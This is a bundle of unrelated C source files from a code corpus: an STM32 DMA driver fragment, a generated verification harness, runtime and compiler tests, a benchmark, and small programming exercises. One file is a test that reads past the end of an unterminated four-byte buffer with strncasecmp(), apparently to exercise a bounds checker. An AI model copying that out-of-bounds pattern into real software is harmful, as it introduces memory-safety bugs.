LL_DMA_WriteReg(tmp, CR, 0U);
/* Reset DMAx_Streamy remaining bytes register */
LL_DMA_WriteReg(tmp, NDTR, 0U);
/* Reset DMAx_Streamy peripheral address register */
LL_DMA_WriteReg(tmp, PAR, 0U);
/* Reset DMAx_Streamy memory address register */
LL_DMA_WriteReg(tmp, M0AR, 0U);
/* Reset DMAx_Streamy memory address register */
LL_DMA_WriteReg(tmp, M1AR, 0U);
/* Reset DMAx_Streamy FIFO control register */
LL_DMA_WriteReg(tmp, FCR, 0x00000021U);
/* Reset Channel register field for DMAx Stream*/
LL_DMA_SetChannelSelection(DMAx, Stream, LL_DMA_CHANNEL_0);
if(Stream == LL_DMA_STREAM_0)
{
/* Reset the Stream0 pending flags */
DMAx->LIFCR = 0x0000003FU;
}
else if(Stream == LL_DMA_STREAM_1)
{
/* Reset the Stream1 pending flags */
DMAx->LIFCR = 0x00000F40U;
}
else if(Stream == LL_DMA_STREAM_2)
{
/* Reset the Stream2 pending flags */
DMAx->LIFCR = 0x003F0000U;
}
else if(Stream == LL_DMA_STREAM_3)
{
/* Reset the Stream3 pending flags */
DMAx->LIFCR = 0x0F400000U;
}
else if(Stream == LL_DMA_STREAM_4)
{
/* Reset the Stream4 pending flags */
DMAx->HIFCR = 0x0000003FU;
}
else if(Stream == LL_DMA_STREAM_5)
{
/* Reset the Stream5 pending flags */
DMAx->HIFCR = 0x00000F40U;
}
else if(Stream == LL_DMA_STREAM_6)
{
/* Reset the Stream6 pending flags */
DMAx->HIFCR = 0x003F0000U;
}
else if(Stream == LL_DMA_STREAM_7)
{
/* Reset the Stream7 pending flags */
DMAx->HIFCR = 0x0F400000U;
}
else
{
status = ERROR;
}
}
return status;
}
/**
* @brief Initialize the DMA registers according to the specified parameters in DMA_InitStruct.
* @note To convert DMAx_Streamy Instance to DMAx Instance and Streamy, use helper macros :
* @arg @ref __LL_DMA_GET_INSTANCE
* @arg @ref __LL_DMA_GET_STREAM
* @param DMAx DMAx Instance
* @param Stream This parameter can be one of the following values:
* @arg @ref LL_DMA_STREAM_0
* @arg @ref LL_DMA_STREAM_1
* @arg @ref LL_DMA_STREAM_2
* @arg @ref LL_DMA_STREAM_3
* @arg @ref LL_DMA_STREAM_4
* @arg @ref LL_DMA_STREAM_5
* @arg @ref LL_DMA_STREAM_6
* @arg @ref LL_DMA_STREAM_7
* @param DMA_InitStruct pointer to a @ref LL_DMA_InitTypeDef structure.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: DMA registers are initialized
* - ERROR: Not applicable
*/
uint32_t LL_DMA_Init(DMA_TypeDef *DMAx, uint32_t Stream, LL_DMA_InitTypeDef *DMA_InitStruct)
{
/* Check the DMA Instance DMAx and Stream parameters*/
assert_param(IS_LL_DMA_ALL_STREAM_INSTANCE(DMAx, Stream));
/* Check the DMA parameters from DMA_InitStruct */
assert_param(IS_LL_DMA_DIRECTION(DMA_InitStruct->Direction));
assert_param(IS_LL_DMA_MODE(DMA_InitStruct->Mode));
assert_param(IS_LL_DMA_PERIPHINCMODE(DMA_InitStruct->PeriphOrM2MSrcIncMode));
assert_param(IS_LL_DMA_MEMORYINCMODE(DMA_InitStruct->MemoryOrM2MDstIncMode));
assert_param(IS_LL_DMA_PERIPHDATASIZE(DMA_InitStruct->PeriphOrM2MSrcDataSize));
assert_param(IS_LL_DMA_MEMORYDATASIZE(DMA_InitStruct->MemoryOrM2MDstDataSize));
assert_param(IS_LL_DMA_NBDATA(DMA_InitStruct->NbData));
assert_param(IS_LL_DMA_CHANNEL(DMA_InitStruct->Channel));
assert_param(IS_LL_DMA_PRIORITY(DMA_InitStruct->Priority));
assert_param(IS_LL_DMA_FIFO_MODE_STATE(DMA_InitStruct->FIFOMode));
/* Check the memory burst, peripheral burst and FIFO threshold parameters only
when FIFO mode is enabled */
if(DMA_InitStruct->FIFOMode != LL_DMA_FIFOMODE_DISABLE)
{
assert_param(IS_LL_DMA_FIFO_THRESHOLD(DMA_InitStruct->FIFOThreshold));
assert_param(IS_LL_DMA_MEMORY_BURST(DMA_InitStruct->MemBurst));
assert_param(IS_LL_DMA_PERIPHERAL_BURST(DMA_InitStruct->PeriphBurst));
}
/*---------------------------- DMAx SxCR Configuration ------------------------
* Configure DMAx_Streamy: data transfer direction, data transfer mode,
* peripheral and memory increment mode,
* data size alignment and priority level with parameters :
* - Direction: DMA_SxCR_DIR[1:0] bits
* - Mode: DMA_SxCR_CIRC bit
* - PeriphOrM2MSrcIncMode: DMA_SxCR_PINC bit
* - MemoryOrM2MDstIncMode: DMA_SxCR_MINC bit
* - PeriphOrM2MSrcDataSize: DMA_SxCR_PSIZE[1:0] bits
* - MemoryOrM2MDstDataSize: DMA_SxCR_MSIZE[1:0] bits
* - Priority: DMA_SxCR_PL[1:0] bits
*/
LL_DMA_ConfigTransfer(DMAx, Stream, DMA_InitStruct->Direction | \
DMA_InitStruct->Mode | \
DMA_InitStruct->PeriphOrM2MSrcIncMode | \
DMA_InitStruct->MemoryOrM2MDstIncMode | \
DMA_InitStruct->PeriphOrM2MSrcDataSize | \
DMA_InitStruct->MemoryOrM2MDstDataSize | \
DMA_InitStruct->Priority
);
if(DMA_InitStruct->FIFOMode != LL_DMA_FIFOMODE_DISABLE)
{
/*---------------------------- DMAx SxFCR Configuration ------------------------
* Configure DMAx_Streamy: fifo mode and fifo threshold with parameters :
* - FIFOMode: DMA_SxFCR_DMDIS bit
* - FIFOThreshold: DMA_SxFCR_FTH[1:0] bits
*/
LL_DMA_ConfigFifo(DMAx, Stream, DMA_InitStruct->FIFOMode, DMA_InitStruct->FIFOThreshold);
/*---------------------------- DMAx SxCR Configuration --------------------------
* Configure DMAx_Streamy: memory burst transfer with parameters :
* - MemBurst: DMA_SxCR_MBURST[1:0] bits
*/
LL_DMA_SetMemoryBurstxfer(DMAx,Stream,DMA_InitStruct->MemBurst);
/*---------------------------- DMAx SxCR Configuration --------------------------
* Configure DMAx_Streamy: peripheral burst transfer with parameters :
* - PeriphBurst: DMA_SxCR_PBURST[1:0] bits
*/
LL_DMA_SetPeriphBurstxfer(DMAx,Stream,DMA_InitStruct->PeriphBurst);
}
/*-------------------------- DMAx SxM0AR Configuration --------------------------
* Configure the memory or destination base address with parameter :
* - MemoryOrM2MDstAddress: DMA_SxM0AR_M0A[31:0] bits
*/
LL_DMA_SetMemoryAddress(DMAx, Stream, DMA_InitStruct->MemoryOrM2MDstAddress);
/*-------------------------- DMAx SxPAR Configuration ---------------------------
* Configure the peripheral or source base address with parameter :
* - PeriphOrM2MSrcAddress: DMA_SxPAR_PA[31:0] bits
*/
LL_DMA_SetPeriphAddress(DMAx, Stream, DMA_InitStruct->PeriphOrM2MSrcAddress);
/*--------------------------- DMAx SxNDTR Configuration -------------------------
* Configure the peripheral base address with parameter :
* - NbData: DMA_SxNDT[15:0] bits
*/
LL_DMA_SetDataLength(DMAx, Stream, DMA_InitStruct->NbData);
/*--------------------------- DMA SxCR_CHSEL Configuration ----------------------
* Configure the peripheral base address with parameter :
* - PeriphRequest: DMA_SxCR_CHSEL[2:0] bits
*/
LL_DMA_SetChannelSelection(DMAx, Stream, DMA_InitStruct->Channel);
return SUCCESS;
}
/**
* @brief Set each @ref LL_DMA_InitTypeDef field to default value.
* @param DMA_InitStruct Pointer to a @ref LL_DMA_InitTypeDef structure.
* @retval None
*/
void LL_DMA_StructInit(LL_DMA_InitTypeDef *DMA_InitStruct)
{
/* Set DMA_InitStruct fields to default values */
DMA_InitStruct->PeriphOrM2MSrcAddress = 0x00000000U;
DMA_InitStruct->MemoryOrM2MDstAddress = 0x00000000U;
DMA_InitStruct->Direction = LL_DMA_DIRECTION_PERIPH_TO_MEMORY;
DMA_InitStruct->Mode = LL_DMA_MODE_NORMAL;
DMA_InitStruct->PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT;
DMA_InitStruct->MemoryOrM2MDstIncMode = LL_DMA_MEMORY_NOINCREMENT;
DMA_InitStruct->PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_BYTE;
DMA_InitStruct->MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_BYTE;
DMA_InitStruct->NbData = 0x00000000U;
DMA_InitStruct->Channel = LL_DMA_CHANNEL_0;
DMA_InitStruct->Priority = LL_DMA_PRIORITY_LOW;
DMA_InitStruct->FIFOMode = LL_DMA_FIFOMODE_DISABLE;
DMA_InitStruct->FIFOThreshold = LL_DMA_FIFOTHRESHOLD_1_4;
DMA_InitStruct->MemBurst = LL_DMA_MBURST_SINGLE;
DMA_InitStruct->PeriphBurst = LL_DMA_PBURST_SINGLE;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* DMA1 || DMA2 */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/218892608.c | #ifdef COMPILE_FOR_TEST
#include <assert.h>
#define assume(cond) assert(cond)
#endif
void main(int argc, char* argv[]) {
int x_0_0;//sh_buf.outcnt
int x_0_1;//sh_buf.outcnt
int x_0_2;//sh_buf.outcnt
int x_0_3;//sh_buf.outcnt
int x_1_0;//sh_buf.outbuf[0]
int x_1_1;//sh_buf.outbuf[0]
int x_2_0;//sh_buf.outbuf[1]
int x_2_1;//sh_buf.outbuf[1]
int x_3_0;//sh_buf.outbuf[2]
int x_3_1;//sh_buf.outbuf[2]
int x_4_0;//sh_buf.outbuf[3]
int x_4_1;//sh_buf.outbuf[3]
int x_5_0;//sh_buf.outbuf[4]
int x_5_1;//sh_buf.outbuf[4]
int x_6_0;//sh_buf.outbuf[5]
int x_7_0;//sh_buf.outbuf[6]
int x_8_0;//sh_buf.outbuf[7]
int x_9_0;//sh_buf.outbuf[8]
int x_10_0;//sh_buf.outbuf[9]
int x_11_0;//LOG_BUFSIZE
int x_11_1;//LOG_BUFSIZE
int x_12_0;//CREST_scheduler::lock_0
int x_13_0;//t3 T0
int x_14_0;//t2 T0
int x_15_0;//arg T0
int x_16_0;//functioncall::param T0
int x_16_1;//functioncall::param T0
int x_17_0;//buffered T0
int x_18_0;//functioncall::param T0
int x_18_1;//functioncall::param T0
int x_19_0;//functioncall::param T0
int x_19_1;//functioncall::param T0
int x_20_0;//functioncall::param T0
int x_20_1;//functioncall::param T0
int x_21_0;//functioncall::param T0
int x_21_1;//functioncall::param T0
int x_22_0;//direction T0
int x_23_0;//functioncall::param T0
int x_23_1;//functioncall::param T0
int x_24_0;//functioncall::param T0
int x_24_1;//functioncall::param T0
int x_25_0;//functioncall::param T0
int x_25_1;//functioncall::param T0
int x_26_0;//functioncall::param T0
int x_26_1;//functioncall::param T0
int x_27_0;//functioncall::param T0
int x_27_1;//functioncall::param T0
int x_28_0;//functioncall::param T0
int x_28_1;//functioncall::param T0
int x_29_0;//functioncall::param T0
int x_29_1;//functioncall::param T0
int x_30_0;//functioncall::param T0
int x_30_1;//functioncall::param T0
int x_31_0;//functioncall::param T0
int x_31_1;//functioncall::param T0
int x_32_0;//functioncall::param T0
int x_32_1;//functioncall::param T0
int x_33_0;//functioncall::param T0
int x_33_1;//functioncall::param T0
int x_34_0;//functioncall::param T0
int x_34_1;//functioncall::param T0
int x_35_0;//functioncall::param T1
int x_35_1;//functioncall::param T1
int x_36_0;//functioncall::param T1
int x_36_1;//functioncall::param T1
int x_37_0;//i T1
int x_37_1;//i T1
int x_37_2;//i T1
int x_38_0;//rv T1
int x_39_0;//functioncall::param T1
int x_39_1;//functioncall::param T1
int x_40_0;//functioncall::param T1
int x_40_1;//functioncall::param T1
int x_41_0;//functioncall::param T1
int x_41_1;//functioncall::param T1
int x_42_0;//functioncall::param T1
int x_42_1;//functioncall::param T1
int x_43_0;//functioncall::param T1
int x_43_1;//functioncall::param T1
int x_44_0;//functioncall::param T1
int x_44_1;//functioncall::param T1
int x_45_0;//functioncall::param T2
int x_45_1;//functioncall::param T2
int x_46_0;//functioncall::param T2
int x_46_1;//functioncall::param T2
int x_47_0;//i T2
int x_48_0;//rv T2
int x_49_0;//rv T2
int x_49_1;//rv T2
int x_50_0;//functioncall::param T2
int x_50_1;//functioncall::param T2
T_0_0_0: x_0_0 = 0;
T_0_1_0: x_1_0 = 0;
T_0_2_0: x_2_0 = 0;
T_0_3_0: x_3_0 = 0;
T_0_4_0: x_4_0 = 0;
T_0_5_0: x_5_0 = 0;
T_0_6_0: x_6_0 = 0;
T_0_7_0: x_7_0 = 0;
T_0_8_0: x_8_0 = 0;
T_0_9_0: x_9_0 = 0;
T_0_10_0: x_10_0 = 0;
T_0_11_0: x_11_0 = 0;
T_0_12_0: x_13_0 = 3185781968;
T_0_13_0: x_14_0 = 466535008;
T_0_14_0: x_15_0 = 0;
T_0_15_0: x_16_0 = 1692322229;
T_0_16_0: x_16_1 = -1;
T_0_17_0: x_17_0 = 0;
T_0_18_0: x_18_0 = 1953246250;
T_0_19_0: x_18_1 = x_17_0;
T_0_20_0: x_19_0 = 1760748067;
T_0_21_0: x_19_1 = 97;
T_0_22_0: x_20_0 = 348316677;
T_0_23_0: x_20_1 = 0;
T_0_24_0: x_21_0 = 537769346;
T_0_25_0: x_21_1 = 0;
T_0_26_0: x_22_0 = 466530368;
T_0_27_0: x_23_0 = 1851745124;
T_0_28_0: x_23_1 = x_22_0;
T_0_29_0: x_24_0 = 1432951325;
T_0_30_0: x_24_1 = 0;
T_0_31_0: x_12_0 = -1;
T_0_32_0: x_0_1 = 5;
T_0_33_0: x_1_1 = 72;
T_0_34_0: x_2_1 = 69;
T_0_35_0: x_3_1 = 76;
T_0_36_0: x_4_1 = 76;
T_0_37_0: x_5_1 = 79;
T_0_38_0: x_25_0 = 841961702;
T_0_39_0: x_25_1 = 83;
T_0_40_0: x_26_0 = 63177378;
T_0_41_0: x_26_1 = 1;
T_0_42_0: x_27_0 = 1701754655;
T_0_43_0: x_27_1 = 1;
T_0_44_0: x_28_0 = 365182215;
T_0_45_0: x_28_1 = 1;
T_0_46_0: x_29_0 = 2099113627;
T_0_47_0: x_29_1 = 82;
T_0_48_0: x_30_0 = 1154701329;
T_0_49_0: x_30_1 = 90;
T_0_50_0: x_31_0 = 61272059;
T_0_51_0: x_31_1 = 1;
T_0_52_0: x_32_0 = 1276463740;
T_0_53_0: x_32_1 = 1;
T_0_54_0: x_33_0 = 2124276186;
T_0_55_0: x_33_1 = 2;
T_0_56_0: x_34_0 = 60885494;
T_0_57_0: x_34_1 = 2;
T_0_58_0: x_11_1 = 6;
T_1_59_1: x_35_0 = 728998419;
T_1_60_1: x_35_1 = x_27_1;
T_1_61_1: x_36_0 = 1484642601;
T_1_62_1: x_36_1 = x_28_1;
T_1_63_1: x_37_0 = 0;
T_1_64_1: x_38_0 = -515091967;
T_2_65_2: x_45_0 = 698114453;
T_2_66_2: x_45_1 = x_33_1;
T_2_67_2: x_46_0 = 93578704;
T_2_68_2: x_46_1 = x_34_1;
T_2_69_2: x_47_0 = 0;
T_2_70_2: x_48_0 = -517193215;
T_1_71_1: if (x_36_1 < x_11_1) x_39_0 = 1846994099;
T_1_72_1: if (x_36_1 < x_11_1) x_39_1 = 47996774627072;
T_1_73_1: if (x_36_1 < x_11_1) x_40_0 = 386874974;
T_1_74_1: if (x_36_1 < x_11_1) x_40_1 = x_0_1 + x_36_1;
T_1_75_1: if (x_36_1 < x_11_1) x_37_1 = 0;
T_1_76_1: if (x_36_1 < x_11_1 && x_37_1 < x_35_1) x_41_0 = 1946342479;
T_1_77_1: if (x_36_1 < x_11_1 && x_37_1 < x_35_1) x_41_1 = 47996774627072;
T_1_78_1: if (x_36_1 < x_11_1) x_37_2 = 1 + x_37_1;
T_1_79_1: if (x_36_1 < x_11_1) x_42_0 = 142827012;
T_1_80_1: if (x_36_1 < x_11_1) x_42_1 = 47996774627072;
T_2_81_2: if (x_0_1 + x_46_1 > x_11_1 && x_0_1 != 0) x_49_0 = 4321289;
T_2_82_2: if (x_36_1 < x_11_1) x_0_2 = x_0_1 + x_36_1;
T_1_83_1: if (x_36_1 < x_11_1) x_43_0 = 1415444434;
T_1_84_1: if (x_36_1 < x_11_1) x_43_1 = 47996774627072;
T_1_85_1: if (x_0_1 + x_46_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_50_0 = 2007442659;
T_2_86_2: if (x_0_1 + x_46_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_50_1 = -1;
T_2_87_2: if (x_0_1 + x_46_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_49_1 = x_50_1;
T_2_88_2: if (x_0_1 + x_46_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_49_1 + 1 == 0) x_0_3 = 0;
T_2_89_2: if (x_36_1 < x_11_1) x_44_0 = 1288988218;
T_2_90_2: if (x_36_1 < x_11_1) x_44_1 = 47996774627072;
T_1_91_1: if (x_36_1 < x_11_1) assert(x_0_3 == x_40_1);
}
|
the_stack_data/940642.c | /*
* Marcin Pacyna`s work, rewritten by Konrad Krzysztof Krasinski 2003
*/
#include <stdio.h>
int main()
{
printf("root users\n");
return 0;
}
|
the_stack_data/176704724.c | /*
* Copyright 2010 The Native Client Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can
* be found in the LICENSE file.
*/
#include <assert.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
/* On x86, gcc normally assumes that the stack is already
16-byte-aligned. It is the responsibility of the runtime to ensure
that stacks are set up this way. This test checks that the runtime
does this properly. */
struct AlignedType {
int blah;
} __attribute__((aligned(16)));
/* We do this check in a separate function just in case the compiler
is clever enough to optimise away the expression
(uintptr_t) &var % 16 == 0
for a stack-allocated variable. */
void CheckAlignment(void *pointer) {
printf("Variable address: %p\n", pointer);
assert((uintptr_t) pointer % 16 == 0);
}
void *ThreadFunc(void *arg) {
struct AlignedType var;
printf("Check alignment in second thread...\n");
CheckAlignment(&var);
return NULL;
}
int main(void) {
pthread_t tid;
int err;
struct AlignedType var;
/* Turn off stdout buffering to aid debugging in case of a crash. */
setvbuf(stdout, NULL, _IONBF, 0);
printf("Check alignment in initial thread...\n");
CheckAlignment(&var);
err = pthread_create(&tid, NULL, ThreadFunc, NULL);
assert(err == 0);
err = pthread_join(tid, NULL);
assert(err == 0);
return 0;
}
|
the_stack_data/218893580.c | /*
* The Computer Language Benchmarks Game
* http://shootout.alioth.debian.org/
*
* Contributed by Eckehard Berns
* Based on code by Heiner Marxen
* and the ATS version by Hongwei Xi
*/
#include <stdlib.h>
#include <stdio.h>
#define USETHREADS 1
#if USETHREADS
#include <pthread.h>
#endif
struct worker_args {
int i, n;
#if USETHREADS
pthread_t id;
#endif
struct worker_args *next;
};
static void *
fannkuch_worker(void *_arg)
{
struct worker_args *args = _arg;
int *perm1, *count, *perm;
int maxflips, flips, i, n, r, j, k, tmp;
maxflips = 0;
n = args->n;
perm1 = malloc(n * sizeof(int));
perm = malloc(n * sizeof(int));
count = malloc(n * sizeof(int));
for (i = 0; i < n; i++)
perm1[i] = i;
perm1[args->i] = n - 1;
perm1[n - 1] = args->i;
r = n;
for (;;) {
for (; r > 1; r--)
count[r - 1] = r;
if (perm1[0] != 0 && perm1[n - 1] != n - 1) {
for (i = 0; i < n; i++)
perm[i] = perm1[i];
flips = 0;
k = perm[0];
do {
for (i = 1, j = k - 1; i < j; i++, j--) {
tmp = perm[i];
perm[i] = perm[j];
perm[j] = tmp;
}
flips++;
tmp = perm[k];
perm[k] = k;
k = tmp;
} while (k);
if (maxflips < flips)
maxflips = flips;
}
for (;;) {
if (r >= n - 1) {
free(perm1);
free(perm);
free(count);
return (void *)maxflips;
}
{
int p0 = perm1[0];
for (i = 0; i < r; i++)
perm1[i] = perm1[i + 1];
perm1[i] = p0;
}
if (--count[r] > 0)
break;
r++;
}
}
}
static int
fannkuch(int n)
{
struct worker_args *args, *targs;
int showmax = 30;
int *perm1, *count, i, r, maxflips, flips;
args = NULL;
for (i = 0; i < n - 1; i++) {
targs = malloc(sizeof(struct worker_args));
targs->i = i;
targs->n = n;
targs->next = args;
args = targs;
#if USETHREADS
if (0 != pthread_create(&args->id, NULL, fannkuch_worker, args))
abort();
#endif
}
perm1 = malloc(n * sizeof(int));
count = malloc(n * sizeof(int));
for (i = 0; i < n; i++)
perm1[i] = i;
r = n;
for (;;) {
if (showmax) {
for (i = 0; i < n; i++)
printf("%d", perm1[i] + 1);
printf("\n");
showmax--;
} else
goto cleanup;
for (; r > 1; r--)
count[r - 1] = r;
for (;;) {
if (r == n)
goto cleanup;
{
int p0 = perm1[0];
for (i = 0; i < r; i++)
perm1[i] = perm1[i + 1];
perm1[i] = p0;
}
if (--count[r] > 0)
break;
r++;
}
}
cleanup:
free(perm1);
free(count);
maxflips = 0;
while (args != NULL) {
#if USETHREADS
if (0 != pthread_join(args->id, (void **)&flips))
abort();
#else
flips = (int)fannkuch_worker(args);
#endif
if (maxflips < flips)
maxflips = flips;
targs = args;
args = args->next;
free(targs);
}
return maxflips;
}
int
main(int ac, char **av)
{
int n = ac > 1 ? atoi(av[1]) : 0;
if (n < 1) {
printf("Wrong argument.\n");
return 1;
}
printf("Pfannkuchen(%d) = %d\n", n, fannkuch(n));
return 0;
}
|
the_stack_data/72794.c | // RUN: %clang_cc1 -emit-llvm -triple x86_64-apple-darwin10 < %s | FileCheck %s
struct Test1S {
long NumDecls;
long X;
long Y;
};
struct Test2S {
long NumDecls;
long X;
};
// Make sure we don't generate extra memcpy for lvalues
void test1a(struct Test1S, struct Test2S);
// CHECK-LABEL: define void @test1(
// CHECK-NOT: memcpy
// CHECK: call void @test1a
void test1(struct Test1S *A, struct Test2S *B) {
test1a(*A, *B);
}
// The above gets tricker when the byval argument requires higher alignment
// than the natural alignment of the type in question.
// rdar://9483886
// Make sure we do generate a memcpy when we cannot guarantee alignment.
struct Test3S {
int a,b,c,d,e,f,g,h,i,j,k,l;
};
void test2a(struct Test3S q);
// CHECK-LABEL: define void @test2(
// CHECK: alloca %struct.Test3S, align 8
// CHECK: memcpy
// CHECK: call void @test2a
void test2(struct Test3S *q) {
test2a(*q);
}
// But make sure we don't generate a memcpy when we can guarantee alignment.
void fooey(void);
// CHECK-LABEL: define void @test3(
// CHECK: alloca %struct.Test3S, align 8
// CHECK: call void @fooey
// CHECK-NOT: memcpy
// CHECK: call void @test2a
// CHECK-NOT: memcpy
// CHECK: call void @test2a
void test3(struct Test3S a) {
struct Test3S b = a;
fooey();
test2a(a);
test2a(b);
}
|
the_stack_data/214744.c | int foo(void) {
int f = 2, g = 0;
int h = (g < 7) ^ (1 || (f = 1));
int j = (g < 7) ^ (0 && (f = 1));
return f + h + j;
}
int bar(void) {
int i = 1, j = 1;
if (13L && i) {
i = 4;
}
if (0 || j) {
j = 7;
}
return i + j;
}
int baz() {
int i = 1, j = 1;
j = (0 || (j + 1));
return i + j;
}
int main(void) {
char a = 1, b = 2;
int t1 = (a == 0 && (b = 0));
int t2 = a || 1 || (b = 1);
return b + foo() + bar() + baz();
}
|
the_stack_data/156394350.c | // RUN: test.sh -e -t %t %s
// This is an example of strncasecmp() reading out of bounds.
#include <strings.h>
int main(void) {
char str1[4] = { 'S', 't', 'R', '1' };
char str2[5] = "str1";
strncasecmp(str1, str2, 5);
return 0;
}
|
the_stack_data/151706813.c | #include <stdio.h>
#include <stdlib.h>
void dectobin(int n)
{
if(n > 0)
{
dectobin(n/2);
printf("%d",n%2);
}
return;
}
int main()
{
int n;
printf("Enter the number: ");
scanf("%d",&n);
dectobin(n);
}
|
the_stack_data/225142091.c | /* year2seconds -- 将年龄转换为秒 */
#include <stdio.h>
int main(void)
{
int age;
float seconds_per_year = 3.156E7;
printf("Please input your age:");
scanf("%d", &age);
printf("You have spent %f or %e seconds in your past life.\n", age * seconds_per_year, age * seconds_per_year);
return 0;
} |
the_stack_data/15763574.c | /* Use when compiling with BZ_NO_STDIO */
#include <assert.h>
#include <stdbool.h>
void bz_internal_error(int errcode __attribute__((unused)))
{
assert(false);
}
|
the_stack_data/165369.c | #include<stdio.h>
int max(int a,int b)
{
return a>b?a:b;
}
int sol(char* s1,char* s2,int n,int m)
{
int dp[n+1][m+1];
for(int i=0;i<=n;i++)
{
for(int j=0;j<=m;j++)
dp[i][j]=0;
}
for(int i=1;i<=n;i++)
{
for(int j=1;j<=m;j++)
{
if(s1[i-1]==s2[j-1])
dp[i][j]=1+dp[i-1][j-1];
else
dp[i][j]=max(dp[i-1][j],dp[i][j-1]);
}
}
return dp[n][m];
}
int main() {
int t;
scanf("%d",&t);
while(t--){
char s1[101],s2[101];
scanf("%s",&s1);
scanf("%s",&s2);
// printf("%s %s\n",s1,s2);
int n=strlen(s1),m=strlen(s2);
int ans=sol(s1,s2,n,m);
printf("%d\n",n+m-ans);
}
return 0;
}
|
the_stack_data/23854.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* micro.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: bbaatar <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/12/23 19:02:37 by bbaatar #+# #+# */
/* Updated: 2021/12/23 19:02:38 by bbaatar ### ########.fr */
/* */
/* ************************************************************************** */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <math.h>
#include <stdbool.h>
#define ERR_ARG "Error: argument\n"
#define ERR_OPE "Error: Operation file corrupted\n"
typedef struct s_config
{
char background;
int w;
int h;
} t_config;
typedef struct s_shape
{
char type;
char c;
float x;
float y;
float w;
float h;
} t_shape;
size_t ft_strlen(const char *str)
{
size_t i;
i = 0;
while (str[i])
{
i++;
}
return (i);
}
int str_err(const char *str, int ret)
{
write(1, str, ft_strlen(str));
return (ret);
}
int close_and_free(FILE *file, char *str)
{
fclose(file);
if (str)
free(str);
return (1);
}
char *create_canvas(FILE *file, t_config *config)
{
int ret_scanf;
char *buff = NULL;
ret_scanf = fscanf(file, "%d %d %c\n", &config->w, &config->h, &config->background);
if (ret_scanf == 3 && config->w > 0 && config->w <= 300 && config->h > 0 && config->h <= 300)
{
buff = (char *)calloc (config->w * config->h + 1, sizeof(char));
buff = memset (buff, config->background, config->w * config->h);
}
return (buff);
}
static int is_in_shape(float x, float y, t_shape *tmp)
{
float e = 1.00000000;
if (x < tmp->x || x > (tmp->x + tmp->w) || y < tmp->y || y > (tmp->y + tmp->h))
return (0);
if (x - tmp->x < e || (tmp->x + tmp->w - x) < e || y - tmp->y < e || (tmp->y + tmp->h - y) < e)
return (2);
return (1);
}
void make_shapes_on_canvas(t_config *config, t_shape *tmp, char *buff)
{
int x;
int y;
int flag;
y = 0;
while (y < config->h)
{
x = 0;
while (x < config->w)
{
flag = is_in_shape((float)x, (float)y, tmp);
if ((flag == 2 && tmp->type == 'r') || (flag && tmp->type == 'R'))
buff[config->w * y + x] = tmp->c;
x++;
}
y++;
}
}
bool do_shapes(FILE *file, t_config *config, char *buff)
{
int ret_scanf;
t_shape tmp;
while((ret_scanf = fscanf(file, "%c %f %f %f %f %c\n", &tmp.type, &tmp.x, &tmp.y, &tmp.w, &tmp.h, &tmp.c)) == 6)
{
if (tmp.w > 0.00000000 && tmp.h > 0.00000000 && (tmp.type == 'r' || tmp.type == 'R'))
make_shapes_on_canvas(config, &tmp, buff);
else
return (false);
}
if (ret_scanf != -1)
return (false);
return (true);
}
void paint(t_config *config, char *canvas)
{
int i;
i = 0;
while (i < config->h)
{
write (1, canvas + (i * config->w), config->w);
write (1, "\n", 1);
i++;
}
}
int main(int argc, char *argv[])
{
char *canvas;
FILE *file;
t_config config;
config.w = 0;
config.h = 0;
config.background = 0;
if (argc != 2)
return (str_err(ERR_ARG, 1));
if (!(file = fopen(argv[1], "r")))
return (close_and_free(file, NULL) && str_err(ERR_OPE, 1));
if (!(canvas = create_canvas(file, &config)))
return (close_and_free(file, NULL) && str_err(ERR_OPE, 1));
if (!do_shapes(file, &config, canvas))
return (close_and_free(file, canvas) && str_err(ERR_OPE, 1));
paint(&config, canvas);
close_and_free(file, canvas);
return (0);
}
|
the_stack_data/37636885.c | /*-
* Copyright (c) 1990, 1993
* The Regents of the University of California. All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Chris Torek.
*
* %sccs.include.redist.c%
*/
#if defined(LIBC_SCCS) && !defined(lint)
static char sccsid[] = "@(#)strstr.c 8.1 (Berkeley) 06/04/93";
#endif /* LIBC_SCCS and not lint */
#include <sys/cdefs.h>
#include <string.h>
/*
* Find the first occurrence of find in s.
*/
char *
strstr(s, find)
register const char *s, *find;
{
register char c, sc;
register size_t len;
if ((c = *find++) != 0) {
len = strlen(find);
do {
do {
if ((sc = *s++) == 0)
return (NULL);
} while (sc != c);
} while (strncmp(s, find, len) != 0);
s--;
}
return ((char *)s);
}
|
the_stack_data/11075393.c | /* Digits.
Copyright (C) 1994, 1995, 1996, 1999 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, write to the Free
Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
02111-1307 USA. */
#include <wchar.h>
/* Lower-case digits. */
const wchar_t _itowa_lower_digits[36]
= L"0123456789abcdefghijklmnopqrstuvwxyz";
/* Upper-case digits. */
const wchar_t _itowa_upper_digits[36]
